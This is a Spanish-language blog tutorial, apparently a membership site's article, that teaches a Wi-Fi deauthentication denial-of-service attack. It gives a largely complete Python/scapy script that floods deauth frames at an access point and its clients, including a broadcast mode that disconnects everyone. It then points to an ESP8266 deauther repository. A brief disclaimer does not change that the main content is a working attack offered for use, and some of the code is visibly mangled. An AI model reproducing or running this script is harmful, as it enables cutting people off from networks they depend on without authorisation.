❤️ Adquiere tu membresía:  Contenidos protegidos, manuales y videos >> Ver Más

Cómo hackear redes Wi-Fi con ataques de desautenticación usando Python

Con un par de scripts de Python, puedes hackear cualquier red Wi-Fi y desactivarla por completo. Esencialmente, un ataque de denegación de servicio contra todos los usuarios en esa red o cualquiera que intente conectarse a ella en el futuro.

Introducción

Los tramas de desautenticación son tipos especiales de tramas que se utilizan en redes inalámbricas para desconectar un dispositivo cliente de la red. En el protocolo de red inalámbrica 802.11, el punto de acceso (AP) envía tramas a un dispositivo cliente (o viceversa) para iniciar el proceso de desconexión .

Sin embargo, los hackers y los pentesters han encontrado formas de emular los dispositivos de los clientes. Estos dispositivos envían tantas tramas de desautenticación a un AP que el AP básicamente desconecta todos los demás dispositivos cliente y se niega a aceptar nuevas conexiones. Esto se llama un “ataque deauth”, y podemos ejecutarlo desde cualquier dispositivo con una tarjeta de red, ¡incluida una computadora común!

Hasta esta fecha, existen métodos de detección disponibles para los ataques deauth, pero no se conocen soluciones ni métodos de prevención concretos .

Descargo de responsabilidad: no ejecutes este ataque maliciosamente; cualquier información de este artículo tiene fines puramente informativos, y no somos responsable de los daños de ningún tipo o complicaciones legales causadas por los lectores de esta publicación.

El paso a paso

Un atacante puede hacerse pasar por la víctima utilizando la dirección MAC de la víctima y luego enviar una trama de desautenticación al punto de acceso para desconectar a la víctima de la red. La herramienta aireplay-ng es útil para ejecutar este tipo de ataque de desautenticación, que consiste en interrumpir la comunicación entre el dispositivo de la víctima y el AP.

Tendremos que crear un script de Python para interrumpir nuestra comunicación y evitar el acceso de los clientes a la red. Crearemos un archivo Python y los llamaremos ‘ deauth.py‘.

from scapy.all
import *
import shelve
import sys
import os
from threading
import Thread

Los módulos importados brindan herramientas para manipular paquetes, almacenar datos (mediante la interacción con el sistema operativo) y crear y administrar subprocesos en Python para administrar tareas simultáneamente. 

A continuación, agregaremos las siguientes líneas →

def main():
      interface = "mon0"
      s = shelve.open("wireless_data.dat")
      print("Seq", "\tBSSID\t\t", "\tChannel", "SSID")
      keys = s.keys()
      list1 = []
      for each in keys:
        list1.append(int(each))
      list1.sort()
      for key in list1:
        key = str(key)
      print(key, "\t", s[key][0], "\t", s[key][1], "\t", s[key][2])
      s.close()

Este código define una función principal que realiza las siguientes tareas:

  1. Asigna la cadena “mon0” a la variable “interface” (es posible que deba personalizarse)
  2. Abre un archivo llamado “wireless_data.dat” y asigna el objeto resultante a la variable “s”.
  3. Recupera las claves del objeto y las almacena en una lista denominada “keys”.
  4. Itera sobre las claves en la lista de “keys“, convirtiendo cada clave en un número entero y agregándola a una nueva lista “list1“.
  5. Ordena “list1“, y luego itera sobre las claves ordenadas en la lista “list1“, convirtiendo cada clave nuevamente en una cadena e imprimiéndola junto con los datos correspondientes en el objeto.

Luego, usa esos datos para engañar al AP →

a = input("Enter the seq number of wifi ")
r = shelve.open("wireless_data.dat")
print("Are you Sure to attack on ", r[a][0], " ", r[a][2])
victim_mac = input("Enter the victim MAC or for broadcast
    press 0\ t ")
    if victim_mac == '0':
      victim_mac = "FF:FF:FF:FF:FF:FF"

Este código solicita al usuario que ingrese el número de secuencia de una red WiFi, abre un archivo llamado “wireless_data.dat” e imprime un mensaje que incluye los datos asociados con el número de secuencia especificado del archivo. 

Luego le pide al usuario que ingrese la dirección MAC de la víctima o que presione “0” para la transmisión. Si el usuario ingresa ‘0′, la dirección MAC de la víctima se establece en la dirección de transmisión “FF:FF:FF:FF:FF:FF”.

Si has completado este paso correctamente, ¡ya casi has terminado!

cmd1 = "iwconfig wlan1 channel " + str(r[a][1])
cmd2 = "iwconfig mon0 channel " + str(r[a][1])
os.system(cmd1)
os.system(cmd2)

BSSID = r[a][0]
frame = RadioTap() / Dot11(addr1 = BSSID, addr2 = victim_mac, addr3 = BSSID) /
  Dot11Deauth()
frame1 = RadioTap() / Dot11(addr1 = victim_mac, addr2 = BSSID, addr3 = BSSID) /
  Dot11Deauth()

if victim_mac != "FF:FF:FF:FF:FF:FF":
  t1 = Thread(target = for_ap, args = (frame, interface))
  t1.start()
t2 = Thread(target = for_client, args = (frame1, interface))
t2.start()

Este segmento de código lleva a cabo algunas tareas importantes:

  • Establece el canal de las interfaces inalámbricas “wlan1” y “mon0” en el valor almacenado en el archivo archivado bajo el número de secuencia especificado.
  • Construye dos tramas de desautenticación utilizando las clases “RadioTap“, “Dot11” y “Dot11Deauth” de la biblioteca “scapy“. Los campos “addr1“, “addr2” y “addr3” de los encabezados “Dot11” se establecen en los valores almacenados en el archivo archivado bajo el número de secuencia especificado y la dirección MAC del dispositivo víctima. 
  • Crea dos subprocesos utilizando la clase “Thread” del módulo “threading“. El primer subproceso se crea con la función de destino “for_ap” y los argumentos “frame” e “interface“. El segundo subproceso se crea con la función de destino “for_client” y los argumentos “frame1” e “interface“.

Finalmente, el programa inicia el ataque usando t1.start() o t2.start().

También queremos asegurarnos de que este código esté implementado, y luego hemos completado nuestro programa de desautenticación de Python

def for_ap(frame, interface):
  while True:
    sendp(frame, iface = interface, count = 20, inter = .001)
def for_client(frame, interface):
  while True:
    sendp(frame, iface = interface, count = 20, inter = .001)
if __name__ == '__main__':
  main()

También puedes comprar una placa arduino pequeña y barata para ejecutar todo este script en una máquina que se ajuste al tamaño de tu mano.

Ataque de desautenticación con ESP8266 → Repositorio Github 

Comprar ESP8266 en Amazon aquí.

Deja un comentario

Adquiere tu Membresía Anual Wiser

Adquiere tu Membresía Anual Wiser y adquiere grandes beneficios

Más información